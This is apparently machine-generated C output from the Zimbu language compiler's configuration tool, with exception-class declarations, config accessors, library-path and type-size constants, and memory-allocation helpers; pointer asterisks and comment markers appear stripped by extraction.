MEModule__CInit.writeTo__p2 / Tc YVNj__Ytlm_I_imt[14]; To ToYVNj[4]; Zs6 Ysqt = {"\004Init\000"}; void Y3w6(Tc Atext); / MEModule.throwInit / Yalz Yalz__YwtA__YRHR(Yalz t, Tc Amsg); /* MEModule__CBadValue.NEW__p2 / void Yalz__YwtA__YxaJa(Yalz t, Tb Averbose, Tr Aw); /* MEModule__CBadValue.writeTo__p2 / void Yalz__YwtA__YxaJ(Yalz t, Tr Aw); /* MEModule__CBadValue.writeTo__p2 / Tc Yalz__Ytlm_I_imt[14]; To ToYalz[4]; Zs10 YEZq = {"\010BadValue\000"}; void Yaez(Tc Atext); / MEModule.throwBadValue / Y2EX Y2EX__Yalz__YwtA__YRHR(Y2EX t, Tc Amsg); /* MEModule__CKeyNotFound.NEW__p3 / void Y2EX__Yalz__YwtA__YxaJ(Y2EX t, Tr Aw); /* MEModule__CKeyNotFound.writeTo__p3 / void Y2EX__Yalz__YwtA__YxaJa(Y2EX t, Tb Averbose, Tr Aw); /* MEModule__CKeyNotFound.writeTo__p3 / Tc Y2EX__Ytlm_I_imt[14]; To ToY2EX[4]; Zs13 YRiW = {"\013KeyNotFound\000"}; void Yxmk(Ti Akey, Tc Amsg); / MEModule.throwIntKeyNotFound / Zs17 Ym6C = {"\017Key not found: \000"}; void Y5LT(Tc Akey, Tc Amsg); / MEModule.throwStringKeyNotFound / Zs18 YJ3Y = {"\020Key not found: \"\000"}; Zs3 YI = {"\001\"\000"}; YX0i YX0i__Yalz__YwtA__YRHR(YX0i t, Tc Amsg); /* MEModule__CKeyExists.NEW__p3 / void YX0i__Yalz__YwtA__YxaJ(YX0i t, Tr Aw); /* MEModule__CKeyExists.writeTo__p3 / void YX0i__Yalz__YwtA__YxaJa(YX0i t, Tb Averbose, Tr Aw); /* MEModule__CKeyExists.writeTo__p3 / Tc YX0i__Ytlm_I_imt[14]; To ToYX0i[4]; Zs11 Y9_h = {"\011KeyExists\000"}; void YL9Z(Ti Akey, Tc Amsg); / MEModule.throwIntKeyExists / Zs22 Y9qa = {"\024Key already exists: \000"}; void YEeX(Tc Akey, Tc Amsg); / MEModule.throwStringKeyExists / Zs23 YMKM = {"\025Key already exists: \"\000"}; YzSI YzSI__Ylz1__YwtA__YRHR(YzSI t, Tc Amsg); /* MEModule__CDivideByZero.NEW__p3 / void YzSI__Ylz1__YwtA__YxaJ(YzSI t, Tr Aw); /* MEModule__CDivideByZero.writeTo__p3 / void YzSI__Ylz1__YwtA__YxaJa(YzSI t, Tb Averbose, Tr Aw); /* MEModule__CDivideByZero.writeTo__p3 / Tc YzSI__Ytlm_I_imt[14]; To ToYzSI[4]; Zs14 YxFl = {"\014DivideByZero\000"}; YXKl YXKl__YwtA__YRHR(YXKl t, Tc Amsg); / MEModule__CIOError.NEW__p2 / void YXKl__YwtA__YxaJa(YXKl t, Tb Averbose, Tr Aw); /* MEModule__CIOError.writeTo__p2 / void YXKl__YwtA__YxaJ(YXKl t, Tr Aw); /* MEModule__CIOError.writeTo__p2 / Tc YXKl__Ytlm_I_imt[14]; To ToYXKl[4]; Zs9 YTj3 = {"\007IOError\000"}; YuDC YdhH(YuDC t); /* MEModule__CWrongType.NEW / Zs15 Ynjz = {"\015Type mismatch\000"}; void YuDC__YwtA__YxaJa(YuDC t, Tb Averbose, Tr Aw); /* MEModule__CWrongType.writeTo__p2 / void YuDC__YwtA__YxaJ(YuDC t, Tr Aw); /* MEModule__CWrongType.writeTo__p2 / Tc YuDC__Ytlm_I_imt[14]; To ToYuDC[4]; Zs11 YCoZ = {"\011WrongType\000"}; void YTuG(Ti Apos); /* MEModule.throwWrongType / YrHq YrHq__YwtA__YRHR(YrHq t, Tc Amsg); /* MEModule__CInternal.NEW__p2 / void YrHq__YwtA__YxaJa(YrHq t, Tb Averbose, Tr Aw); /* MEModule__CInternal.writeTo__p2 / void YrHq__YwtA__YxaJ(YrHq t, Tr Aw); /* MEModule__CInternal.writeTo__p2 / Tc YrHq__Ytlm_I_imt[14]; To ToYrHq[4]; Zs10 YVki = {"\010Internal\000"}; void YUSH(YkxB Apos, Tc Atext); /* MEModule.throwInternal / void YxIS(Tr Ae); / MEModule.unhandledException / void YvL0(Tr Ae); / MEModule.writeToStderr / void YQar(Tr A0, Tb A1, Tr A2); / Ytlm_I__MwriteTo_I__bool__Yw8L_I / / EModule done / / including ZModule declarations / YkxB Ypp_a(YkxB t, Tc Afilename, Ti Alnum, Ti Acol); /* MZModule__CPos.NEW / Tc YpI_(YkxB t); / MZModule__CPos.ToString / Zs16 YKo1 = {"\016[unknown file]\000"}; Zs8 YBpY = {"\006 line \000"}; Zs7 Y8ES = {"\005 col \000"}; To ToYkxB[3]; Zs5 YBCs = {"\003Pos\000"}; / ZModule done / / including IOModule declarations / Tr Y59X = {NULL}; / MIOModule.stdin / Tr Yb0q = {NULL}; / MIOModule.stdout / Tr YeNQ = {NULL}; / MIOModule.stderr / Tr Yd89(); / MIOModule.newStdin / Tr Yvyt(); / MIOModule.newStdout / Tr YsM3(); / MIOModule.newStderr / Tc YdXi__imtt[4]; Ts YwHoa(Yw8L t, Tc Atext); / MIOModule__CFile.write / Zs18 YQe8 = {"\020File is not open\000"}; Ts Yw8L__YHhZb(Yw8L t, Ti Anumber); /* MIOModule__CFile.write__p1 / Ts Yw8L__YRt7g(Yw8L t); /* MIOModule__CFile.print__p1 / Tc Yw8L__Yw8L_I_imt[38]; Tc Yw8L__YdXi_imt[3]; To ToYw8L[2]; Zs6 YtTU = {"\004File\000"}; Tr YiBk(Tc AfileName, Tb Atruncate); /* MIOModule.fileWriter / Ts Yl0k(Tc Atext); /* MIOModule.print / Ts Ylxt(); / MIOModule.flush / Ts YJqza(YjUM t, Tc Atext); / MIOModule__CStringWriter.write / Tc YbNW(YjUM t); / MIOModule__CStringWriter.ToString / Zs2 Ya = {"\000\000"}; Ts YjUM__YHhZb(YjUM t, Ti Anumber); /* MIOModule__CStringWriter.write__p1 / Tc YjUM__YdXi_imt[3]; To ToYjUM[3]; Zs14 YE4c = {"\014StringWriter\000"}; Tb Y0YB(Tc Aname); / MIOModule.isReadable / int JIOModule(int round); / IOModule done / / including zimbuConfig declarations / / including Proto declarations / Tt MProto__EType__T = {23, 0, MProto__EType__name}; Tt MProto__EBinaryType__T = {23, 0, 0}; Ys_q Ys_q__YwtA__YRHR(Ys_q t, Tc Amsg); /* MProto__CE_ProduceError.NEW__p2 / void Ys_q__YwtA__YxaJa(Ys_q t, Tb Averbose, Tr Aw); /* MProto__CE_ProduceError.writeTo__p2 / void Ys_q__YwtA__YxaJ(Ys_q t, Tr Aw); /* MProto__CE_ProduceError.writeTo__p2 / Tc Ys_q__Ytlm_I_imt[14]; To ToYs_q[4]; Zs16 Y4sk = {"\016E_ProduceError\000"}; YOEA YOEA__YwtA__YRHR(YOEA t, Tc Amsg); / MProto__CE_BinaryError.NEW__p2 / void YOEA__YwtA__YxaJa(YOEA t, Tb Averbose, Tr Aw); /* MProto__CE_BinaryError.writeTo__p2 / void YOEA__YwtA__YxaJ(YOEA t, Tr Aw); /* MProto__CE_BinaryError.writeTo__p2 / Tc YOEA__Ytlm_I_imt[14]; To ToYOEA[4]; Zs15 YtJ_ = {"\015E_BinaryError\000"}; YqvM Ykww(YqvM t, Tc Aname, Ti Anr, Te Atype, Tb Arepeated); / MProto__CFieldSpec.NEW / To ToYqvM[2]; Zs11 Y5d5 = {"\011FieldSpec\000"}; YLWE YrCUb(YLWE t, Tr Awriter, Tc Aindent, Tb AuseNr); /* MProto__CWriter.NEW / void YEV9(YLWE t); /* MProto__CWriter.initDeref / Ti YcTI = 0; / MProto__CWriter__X.derefTime / To ToYLWE[3]; Zs8 YaKG = {"\006Writer\000"}; Td YXCQ = NULL; /* MProto.proto2binary / Td YLwW = NULL; /* MProto.binaryTypeValues / Ti YqNA = 3 / MProto.kTypeBits /; Ti Ybyp(YqvM Afspec); /* MProto.getBinaryTagSize / Ti YFN0(Tr Amsg, YLWE AprotoWriter); /* MProto.binarySize / Zs34 Ytvm = {"\040INTERNAL: type not implemented: \000"}; Ti YMrV(Tr At, Tr Amsg, YqvM Afspec, YLWE AprotoWriter); / MProto.binaryMessageSize / void YP8Z(Tr Amsg, YLWE AprotoWriter); /* MProto.writeText / Zs15 YvJi = {"\015# reference: \000"}; Zs3 YT = {"\001-\000"}; Zs4 YN2 = {"\002# \000"}; Zs9 Y0Eh = {"\007 size: \000"}; Zs9 Y8RH = {"\007 bytes\n\000"}; void YWEg(Tr Amsg, YqvM Afspec, Ti Aidx, YLWE AprotoWriter); / MProto.writeOneTextField / Zs5 YxR2 = {"\003.9g\000"}; Zs6 YmwI = {"\004.17g\000"}; Zs6 YHoE = {"\004TRUE\000"}; Zs7 Y2cy = {"\005FALSE\000"}; Zs4 YQ0 = {"\002\"\n\000"}; Zs4 Ywhc = {"\002{\n\000"}; Zs4 YZY = {"\002 \000"}; Zs4 YJkc = {"\002}\n\000"}; Zs38 Y80t = {"\044INTERNAL: field type not supported: \000"}; void YeeB(Tr At, Ti AfieldNr, YLWE AprotoWriter); /* MProto.writeMessageText / void YeeBa(Tr At, Ti AfieldNr, Ti Aidx, YLWE AprotoWriter); /* MProto.writeMessageText / Ti YmeT(Ti Avalue); / MProto.getVarIntSize / int JProto(int round); / Proto done / YNdL YA_Z(YNdL t); / MZimbu__CConfig.NEW / Tc Ykvoa(YNdL t); / MZimbu__CConfig.name / Zs8 YF2d = {"\006Config\000"}; YNdL YrF2(YNdL t, Tc Av); /* MZimbu__CConfig.setMallocArg / Tb Y8zW(YNdL t); /* MZimbu__CConfig.hasMallocArg / YNdL YOPG(YNdL t, Tc Av); /* MZimbu__CConfig.setThreadArg / Tb YvKz(YNdL t); /* MZimbu__CConfig.hasThreadArg / YNdL YWoP(YNdL t, Tc Av); /* MZimbu__CConfig.setSocketArg / Tb YDjI(YNdL t); /* MZimbu__CConfig.hasSocketArg / YNdL Yjrt(YNdL t, Tc Av); /* MZimbu__CConfig.setMathArg / Tb Y8om(YNdL t); /* MZimbu__CConfig.hasMathArg / YNdL Yqt5(YNdL t, Tb Av); / MZimbu__CConfig.setHaveResolve / Tb Y3Lr(YNdL t); /* MZimbu__CConfig.hasHaveResolve / YNdL YBhB(YNdL t, Tb Av); / MZimbu__CConfig.setHaveFork / Tb YcPw(YNdL t); /* MZimbu__CConfig.hasHaveFork / YNdL YNXX(YNdL t, Tc Av); /* MZimbu__CConfig.setExeSuffix / Tb YuSQ(YNdL t); /* MZimbu__CConfig.hasExeSuffix / YNdL YcU3(YNdL t, Tc Av); /* MZimbu__CConfig.setExePrefix / Tb YUOX(YNdL t); /* MZimbu__CConfig.hasExePrefix / YNdL Y118(YNdL t, Tb Av); / MZimbu__CConfig.setHaveSigaction / Tb YJrk(YNdL t); /* MZimbu__CConfig.hasHaveSigaction / YNdL YEDn(YNdL t, Tb Av); / MZimbu__CConfig.setGcWithThreads / Tb Yo45(YNdL t); /* MZimbu__CConfig.hasGcWithThreads / YNdL YIIX(YNdL t, Tc Av); /* MZimbu__CConfig.setInt16Name / Tb YpDQ(YNdL t); /* MZimbu__CConfig.hasInt16Name / YNdL Y8TB(YNdL t, Tc Av); /* MZimbu__CConfig.setInt32Name / Tb YQOu(YNdL t); /* MZimbu__CConfig.hasInt32Name / YNdL Y6PM(YNdL t, Tc Av); /* MZimbu__CConfig.setInt64Name / Tb YOKF(YNdL t); /* MZimbu__CConfig.hasInt64Name / YNdL YXzR(YNdL t, Tc Av); /* MZimbu__CConfig.setNat16Name / Tb YEuK(YNdL t); /* MZimbu__CConfig.hasNat16Name / YNdL YnLv(YNdL t, Tc Av); /* MZimbu__CConfig.setNat32Name / Tb Y4Fo(YNdL t); /* MZimbu__CConfig.hasNat32Name / YNdL YlHG(YNdL t, Tc Av); /* MZimbu__CConfig.setNat64Name / Tb Y2Bz(YNdL t); /* MZimbu__CConfig.hasNat64Name / YNdL Yla2(YNdL t, Tc Av); /* MZimbu__CConfig.setFloatName / Tb Y24V(YNdL t); /* MZimbu__CConfig.hasFloatName / YNdL YI4N(YNdL t, Tc Av); /* MZimbu__CConfig.setFloat32Name / Tb YftC(YNdL t); /* MZimbu__CConfig.hasFloat32Name / YNdL YJ6V(YNdL t, Tc Av); /* MZimbu__CConfig.setIntPtrName / Tb YTxb(YNdL t); /* MZimbu__CConfig.hasIntPtrName / YNdL YUld(YNdL t, Tc Av); /* MZimbu__CConfig.setPrintIntFormat / Tb YlFq(YNdL t); /* MZimbu__CConfig.hasPrintIntFormat / YNdL Y8c7(YNdL t, Tc Av); /* MZimbu__CConfig.setPrintNatFormat / Tb Y6Nw(YNdL t); /* MZimbu__CConfig.hasPrintNatFormat / YNdL YRMv(YNdL t, Tc Av); /* MZimbu__CConfig.setScanfHexFormat / Tb Yoe8(YNdL t); /* MZimbu__CConfig.hasScanfHexFormat / YNdL YeB5(YNdL t, Tb Av); / MZimbu__CConfig.setIsMingw / Tb YdfK(YNdL t); /* MZimbu__CConfig.hasIsMingw / Tb YFKUa(YNdL t, Ti AfieldNr); /* MZimbu__CConfig.boolGet / Tc Yxv3a(YNdL t, Ti AfieldNr); / MZimbu__CConfig.stringGet / Tb YlZca(YNdL t, Ti AfieldNr); /* MZimbu__CConfig.hasField / Tl Yozoa(YNdL t); / MZimbu__CConfig.fieldSpecs / Zs11 Y1i0 = {"\011mallocArg\000"}; Zs11 YF8m = {"\011threadArg\000"}; Zs11 Yxze = {"\011socketArg\000"}; Zs9 YdV8 = {"\007mathArg\000"}; Zs13 Yefj = {"\013haveResolve\000"}; Zs10 YqSF = {"\010haveFork\000"}; Zs11 YG05 = {"\011exeSuffix\000"}; Zs11 Yg4Z = {"\011exePrefix\000"}; Zs15 YUN3 = {"\015haveSigaction\000"}; Zs15 Yeai = {"\015gcWithThreads\000"}; Zs11 YLf6 = {"\011int16Name\000"}; Zs11 Yk4r = {"\011int32Name\000"}; Zs11 Ym8g = {"\011int64Name\000"}; Zs11 Ywoc = {"\011nat16Name\000"}; Zs11 Y5cy = {"\011nat32Name\000"}; Zs11 Y7gn = {"\011nat64Name\000"}; Zs11 Y7N0 = {"\011floatName\000"}; Zs13 Y4ZK = {"\013float32Name\000"}; Zs12 YlnY = {"\012intPtrName\000"}; Zs16 YMLF = {"\016printIntFormat\000"}; Zs16 YxUL = {"\016printNatFormat\000"}; Zs16 YPkn = {"\016scanfHexFormat\000"}; Zs9 Y83L = {"\007isMingw\000"}; Tl YR6X = NULL; /* MZimbu__CConfig__X.fieldSpecs / Ti YNdL__Y0zD(YNdL t, Ti AfieldNr); /* MZimbu__CConfig.enumGet__p1 / Ti YNdL__Y0zDa(YNdL t, Ti AfieldNr, Ti Aidx); /* MZimbu__CConfig.enumGet__p1 / Tc YNdL__YytN(YNdL t, Ti AfieldNr); / MZimbu__CConfig.enumNameGet__p1 / Tc YNdL__YytNa(YNdL t, Ti AfieldNr, Ti Aidx); / MZimbu__CConfig.enumNameGet__p1 / Ti YNdL__YGR8(YNdL t, Ti AfieldNr); /* MZimbu__CConfig.intGet__p1 / Ti YNdL__YGR8a(YNdL t, Ti AfieldNr, Ti Aidx); /* MZimbu__CConfig.intGet__p1 / Ti32 YNdL__YAAo(YNdL t, Ti AfieldNr); /* MZimbu__CConfig.int32Get__p1 / Ti32 YNdL__YAAoa(YNdL t, Ti AfieldNr, Ti Aidx); /* MZimbu__CConfig.int32Get__p1 / Tu YNdL__YRqV(YNdL t, Ti AfieldNr); /* MZimbu__CConfig.uint64Get__p1 / Tu YNdL__YRqVa(YNdL t, Ti AfieldNr, Ti Aidx); /* MZimbu__CConfig.uint64Get__p1 / Tu32 YNdL__Y0tE(YNdL t, Ti AfieldNr); /* MZimbu__CConfig.uint32Get__p1 / Tu32 YNdL__Y0tEa(YNdL t, Ti AfieldNr, Ti Aidx); /* MZimbu__CConfig.uint32Get__p1 / Tf32 YNdL__Yyt7(YNdL t, Ti AfieldNr); /* MZimbu__CConfig.floatGet__p1 / Tf32 YNdL__Yyt7a(YNdL t, Ti AfieldNr, Ti Aidx); /* MZimbu__CConfig.floatGet__p1 / Tf YNdL__Yybv(YNdL t, Ti AfieldNr); /* MZimbu__CConfig.doubleGet__p1 / Tf YNdL__Yybva(YNdL t, Ti AfieldNr, Ti Aidx); /* MZimbu__CConfig.doubleGet__p1 / Tb YNdL__YGfza(YNdL t, Ti AfieldNr, Ti Aidx); /* MZimbu__CConfig.boolGet__p1 / Tc YNdL__YsRaa(YNdL t, Ti AfieldNr, Ti Aidx); / MZimbu__CConfig.stringGet__p1 / Tr YNdL__Yo5y(YNdL t, Ti AfieldNr); /* MZimbu__CConfig.messageGet__p1 / Tr YNdL__Yo5ya(YNdL t, Ti AfieldNr, Ti Aidx); /* MZimbu__CConfig.messageGet__p1 / Ti YNdL__YUDN(YNdL t, Ti AfieldNr); /* MZimbu__CConfig.size__p1 / Tc YNdL__YC5i(YNdL t); / MZimbu__CConfig.ToString__p1 / Tc YNdL__YFL0_I_imt[54]; To ToYNdL[19]; int JzimbuConfig(int round); /* zimbuConfig done / Zs10 Yj_i = {"\010/usr/lib\000"}; Zs12 YftF = {"\012/usr/lib64\000"}; Zs6 YK0f = {"\004/lib\000"}; Zs8 YIMX = {"\006/lib64\000"}; Zs16 YDCH = {"\016/usr/local/lib\000"}; Zs25 YYHU = {"\027/usr/lib/i386-linux-gnu\000"}; Zs27 YGiO = {"\031/usr/lib/x86_64-linux-gnu\000"}; Zs18 Y912 = {"\020tcmalloc_minimal\000"}; Zs10 Y56Y = {"\010tcmalloc\000"}; Zs5 YEk4 = {"\003.so\000"}; Zs4 Y1ja = {"\002-l\000"}; Zs36 YbiD = {"\042tcmalloc_minimal library NOT FOUND\000"}; Zs68 Y51Q = {"\102install the tcmalloc_minimal library to make Zimbu programs faster\000"}; Zs11 YglX = {"\011-lpthread\000"}; Zs5 YtA1 = {"\003-lm\000"}; Zs7 YX_1 = {"\005short\000"}; Zs34 Y8PB = {"\040WARNING: int16 size is actually \000"}; Zs7 YMSv = {"\005 bits\000"}; Zs5 Y1Qt = {"\003int\000"}; Zs6 YDFJ = {"\004long\000"}; Zs34 Ynz4 = {"\040WARNING: int32 size is actually \000"}; Zs11 YDR5 = {"\011long long\000"}; Zs7 YmXc = {"\005%I64d\000"}; Zs7 YGXc = {"\005%I64x\000"}; Zs7 YDXc = {"\005%I64u\000"}; Zs6 YKd3 = {"\004%lld\000"}; Zs6 Y3d3 = {"\004%llx\000"}; Zs6 Y0d3 = {"\004%llu\000"}; Zs5 YY0H = {"\003%ld\000"}; Zs5 Yh1H = {"\003%lx\000"}; Zs4 Y46 = {"\002%d\000"}; Zs4 Yo7 = {"\002%x\000"}; Zs32 Y0OX = {"\036WARNING: int size is actually \000"}; Zs16 YFcv = {"\016unsigned short\000"}; Zs34 YTwi = {"\040WARNING: nat16 size is actually \000"}; Zs14 YVjT = {"\014unsigned int\000"}; Zs15 YOaN = {"\015unsigned long\000"}; Zs34 YENP = {"\040WARNING: nat32 size is actually \000"}; Zs20 Y2BO = {"\022unsigned long long\000"}; Zs5 Ye1H = {"\003%lu\000"}; Zs4 Yl7 = {"\002%u\000"}; Zs32 YfGK = {"\036WARNING: nat size is actually \000"}; Zs8 Ygep = {"\006double\000"}; Zs34 Y_4L = {"\040WARNING: float size is actually \000"}; Zs7 Yt7n = {"\005float\000"}; Zs36 YhOJ = {"\042WARNING: float32 size is actually \000"}; Zs17 YlTN = {"\017__INTPTR_TYPE__\000"}; Zs4 YFka = {"\002./\000"}; Zs17 Ys1d = {"\017zimbuConfig.out\000"}; Zs28 YLmd = {"\032Generated zimbuConfig.out:\000"}; Tt bool__T = {21, 0, 0}; Tt byte__T = {11, 0, 0}; Tt byteString__T = {201, 0, 0}; Tt float128__T = {83, 0, 0}; Tt float32__T = {81, 0, 0}; Tt float80__T = {82, 0, 0}; Tt float__T = {80, 0, 0}; Tt int16__T = {2, 0, 0}; Tt int32__T = {3, 0, 0}; Tt int8__T = {1, 0, 0}; Tt int__T = {0, 0, 0}; Tt nat16__T = {12, 0, 0}; Tt nat32__T = {13, 0, 0}; Tt nat__T = {10, 0, 0}; Tt status__T = {22, 0, 0}; Tt string__T = {200, 0, 0}; Tt type__T = {101, 0, 0}; Tt array__T = {300, 0, 0}; Tt list__T = {301, 0, 0}; Tt dict__T = {302, 0, 0}; Tt iobj__T = {391, 0, 0}; int ZglobInit(int round); typedef struct Zfo__S { int off; Tt type; } Zfo; typedef struct Zsf__S { volatile int pos; struct Zsf__S prev; Zfo frof; } Zsf; #define POS_MASK 0x3fffffff typedef struct Senv__S { int tosNr; } Tn; /* per-thread environemnt / Zsf topFrame = NULL; int inZa = 0; int ZaEntered = 0; Tn Zenv = {0}; void beforeExit() { } Tc Zstr(char s) { return ZnewString((Tc)s, strlen(s)); } / allocate memory / void Za(size_t size) { void p = NULL; if (!inZa) { inZa = 1; p = calloc(1, size); inZa = 0; } if (p == NULL) { if (inZa \|\| ZaEntered) { if (16384 - emergencyAllocUsed >= size) { p = emergencyAlloc + emergencyAllocUsed; emergencyAllocUsed += size; return p; } fputs("Out of memory (Za)\n", stderr); fflush(stderr); exit(1); } ++ZaEntered; ZthrowOutOfMemory(size); } ZaEntered = 0; return p; } / allocate memory with offset / #define ZaOff(size) (Za((size) + ZOH_OFF) + ZOH_OFF) #define ZranOff(ptr, osize, nsize) (Zran((ptr) ? (void)(ptr) - ZOH_OFF : NULL, (osize) + ZOH_OFF, (nsize) + ZOH_OFF) + ZOH_OFF) /* allocate memory / void ZaNm(size_t size) { void p = NULL; if (!inZa) { inZa = 1; p = calloc(1, size); inZa = 0; } if (p == NULL) { if (inZa \|\| ZaEntered) { if (16384 - emergencyAllocUsed >= size) { p = emergencyAlloc + emergencyAllocUsed; emergencyAllocUsed += size; return p; } fputs("Out of memory (ZaNm)\n", stderr); fflush(stderr); exit(1); } ++ZaEntered; ZthrowOutOfMemory(size); } ZaEntered = 0; return p; } void ZaNmi(size_t size) { void p = NULL; if (!inZa) { inZa = 1; p = calloc(1, size); inZa = 0; } if (p == NULL) { if (inZa \|\| ZaEntered) { if (16384 - emergencyAllocUsed >= size) { p = emergencyAlloc + emergencyAllocUsed; emergencyAllocUsed += size; return p; } fputs("Out of memory (ZaNmi)\n", stderr); fflush(stderr); exit(1); } ++ZaEntered; ZthrowOutOfMemory(size); } ZaEntered = 0; return p; } / reallocate memory / void Zran(void op, size_t osize, size_t nsize) { void p = NULL; if (!inZa && !ZaEntered) { inZa = 1; p = realloc(op, nsize); inZa = 0; if (p == NULL) { ++ZaEntered; ZthrowOutOfMemory(nsize); } ZaEntered = 0; if (nsize > osize) memset(p + osize, 0, nsize - osize); return p; } p = Za(nsize); if (op) memmove(p + ZOH_OFF, op + ZOH_OFF, nsize > osize ? osize - ZOH_OFF : nsize - ZOH_OFF); if (nsize > osize) memset(p + osize, 0, nsize - osize); return p; } void ZranNm(void op, size_t osize, size_t nsize) { void p = NULL; if (!inZa && !ZaEntered) { inZa = 1; p = realloc(op, nsize); inZa = 0; if (p == NULL) { ++ZaEntered; ZthrowOutOfMemory(nsize); } if (nsize > osize) memset(p + osize, 0, nsize - osize); return p; } p = ZaNm(nsize); if (op) memmove(p, op, nsize > osize ? osize : nsize); if (nsize > osize) memset(p + osize, 0, nsize - osize); return p; } void Zfree(void p) { if (p) free(p); } Tc ZnewStringInit(Ti len, Tc pp) { Ti rlen = len; int i; int n = ZOH_OFF; Tc buf[20]; Tc res; buf[0] = (rlen & 127); rlen >>= 7; for (i = 1; rlen > 0; ++i) { buf[i] = (rlen & 127) + 128; rlen >>= 7; } res = Za(ZOH_OFF + len + i + 1); while (i > 0) res[n++] = buf[--i]; pp = res + n; return res; } Tc ZnewString(Tc p, Ti len) { Tc pp; Tc res = ZnewStringInit(len, &pp); memmove(pp, p, len); return res; } Tc Y0hD[]="ZUDIR/zimbuConfig.zu"; Tc Yt1T[]="lib/EModule.zu"; Tc Yay0[]="lib/IOModule.zu"; Tc Y3zM[]="lib/ZModule.zu"; Tc Y_hM[]="plugin/proto/Message.zu"; Tc YxTh[]="plugin/proto/Proto.zu"; Tc YTYp[]="zimbuConfig.zu"; Tc Ylvo[]="Config.ToString__p1/1()"; Tcpos ZcTbl79794[]={ {159,9}, {1,30}, {2,32}, {3,5}, {4,19}, }; Tc Y51G[]="Config.boolGet__p1/3()"; Tcpos ZcTbl79218[]={ {98,9}, {1,12}, }; Tc YqIG[]="Config.doubleGet__p1/2()"; Tcpos ZcTbl95580[]={ {89,9}, {1,12}, }; Tc Yv8D[]="Config.doubleGet__p1/3()"; Tcpos ZcTbl5781[]={ {92,9}, {1,12}, }; Tc YRsF[]="Config.enumGet__p1/2()"; Tcpos ZcTbl77282[]={ {45,9}, {1,12}, }; Tc YWTC[]="Config.enumGet__p1/3()"; Tcpos ZcTbl87483[]={ {48,9}, {1,12}, }; Tc YnCh[]="Config.enumNameGet__p1/2()"; Tcpos ZcTbl13235[]={ {51,9}, {1,12}, }; Tc Yibk[]="Config.enumNameGet__p1/3()"; Tcpos ZcTbl23436[]={ {54,9}, {1,12}, }; Tc YGC4[]="Config.floatGet__p1/2()"; Tcpos ZcTbl21451[]={ {82,9}, {1,12}, }; Tc YBb7[]="Config.floatGet__p1/3()"; Tcpos ZcTbl31652[]={ {85,9}, {1,12}, }; Tc YKxu[]="Config.int32Get__p1/2()"; Tcpos ZcTbl45061[]={ {63,9}, {1,12}, }; Tc YF6w[]="Config.int32Get__p1/3()"; Tcpos ZcTbl55262[]={ {66,9}, {1,12}, }; Tc YMHx[]="Config.intGet__p1/2()"; Tcpos ZcTbl30096[]={ {57,9}, {1,12}, }; Tc YHgA[]="Config.intGet__p1/3()"; Tcpos ZcTbl40297[]={ {60,9}, {1,12}, }; Tc Y2uD[]="Config.messageGet__p1/2()"; Tcpos ZcTbl95750[]={ {131,9}, {1,12}, }; Tc Y7VA[]="Config.messageGet__p1/3()"; Tcpos ZcTbl5951[]={ {134,9}, {1,12}, }; Tc YV4L[]="Config.size__p1/1()"; Tcpos ZcTbl81627[]={ {150,9}, {1,12}, }; Tc YiT7[]="Config.stringGet__p1/3()"; Tcpos ZcTbl25401[]={ {104,9}, {1,12}, }; Tc YOLm[]="Config.uint32Get__p1/2()"; Tcpos ZcTbl75882[]={ {75,9}, {1,12}, }; Tc YJkp[]="Config.uint32Get__p1/3()"; Tcpos ZcTbl86083[]={ {78,9}, {1,12}, }; Tc YQ25[]="Config.uint64Get__p1/2()"; Tcpos ZcTbl16247[]={ {69,9}, {1,12}, }; Tc YVt3[]="Config.uint64Get__p1/3()"; Tcpos ZcTbl26448[]={ {72,9}, {1,12}, }; Tc Y5LR[]="E.BadValue.NEW__p2/2()"; Tcpos ZcTbl60593[]={ {60,5}, {1,16}, {2,12}, {4,20}, {4,24}, }; Tc Y9VX[]="E.BadValue.writeTo__p2/4()"; Tcpos ZcTbl46171[]={ {114,11}, {1,7}, {3,9}, {4,12}, {5,12}, {6,14}, {7,16}, {9,16}, {10,16}, {11,16}, {12,18}, {13,18}, {5,12}, }; Tc Y4u_[]="E.BadValue.writeTo__p2/5()"; Tcpos ZcTbl56372[]={ {87,11}, {1,7}, {2,9}, {3,9}, {6,7}, {8,9}, {9,9}, {11,9}, }; Tc Y_Qs[]="E.DivideByZero.NEW__p3/3()"; Tcpos ZcTbl73471[]={ {60,5}, {1,16}, {2,12}, {4,20}, {4,24}, }; Tc YG80[]="E.DivideByZero.writeTo__p3/6()"; Tcpos ZcTbl44130[]={ {87,11}, {1,7}, {2,9}, {3,9}, {6,7}, {8,9}, {9,9}, {11,9}, }; Tc YLzZ[]="E.DivideByZero.writeTo__p3/7()"; Tcpos ZcTbl54331[]={ {114,11}, {1,7}, {3,9}, {4,12}, {5,12}, {6,14}, {7,16}, {9,16}, {10,16}, {11,16}, {12,18}, {13,18}, {5,12}, }; Tc YPz2[]="E.E_BinaryError.NEW__p2/2()"; Tcpos ZcTbl46312[]={ {60,5}, {1,16}, {2,12}, {4,20}, {4,24}, }; Tc Yu0r[]="E.E_BinaryError.writeTo__p2/4()"; Tcpos ZcTbl70530[]={ {114,11}, {1,7}, {3,9}, {4,12}, {5,12}, {6,14}, {7,16}, {9,16}, {10,16}, {11,16}, {12,18}, {13,18}, {5,12}, }; Tc Yzrp[]="E.E_BinaryError.writeTo__p2/5()"; Tcpos ZcTbl80731[]={ {87,11}, {1,7}, {2,9}, {3,9}, {6,7}, {8,9}, {9,9}, {11,9}, }; Tc YWEC[]="E.E_ProduceError.NEW__p2/2()"; Tcpos ZcTbl70833[]={ {60,5}, {1,16}, {2,12}, {4,20}, {4,24}, }; Tc Yuzo[]="E.E_ProduceError.writeTo__p2/4()"; Tcpos ZcTbl63483[]={ {114,11}, {1,7}, {3,9}, {4,12}, {5,12}, {6,14}, {7,16}, {9,16}, {10,16}, {11,16}, {12,18}, {13,18}, {5,12}, }; Tc Yz_l[]="E.E_ProduceError.writeTo__p2/5()"; Tcpos ZcTbl73684[]={ {87,11}, {1,7}, {2,9}, {3,9}, {6,7}, {8,9}, {9,9}, {11,9}, }; Tc YgcH[]="E.Exception.writeTo()"; Tcpos ZcTbl49183[]={ {87,11}, {1,7}, {2,9}, {3,9}, {6,7}, {8,9}, {9,9}, {11,9}, }; Tc YYT9[]="E.Exception.writeTo/1()"; Tcpos ZcTbl36491[]={ {114,11}, {1,7}, {3,9}, {4,12}, {5,12}, {6,14}, {7,16}, {9,16}, {10,16}, {11,16}, {12,18}, {13,18}, {5,12}, }; Tc YTjU[]="E.Exit.writeTo/2()"; Tcpos ZcTbl92163[]={ {191,11}, {1,7}, {2,9}, {3,9}, {5,7}, {6,7}, {7,7}, {8,9}, 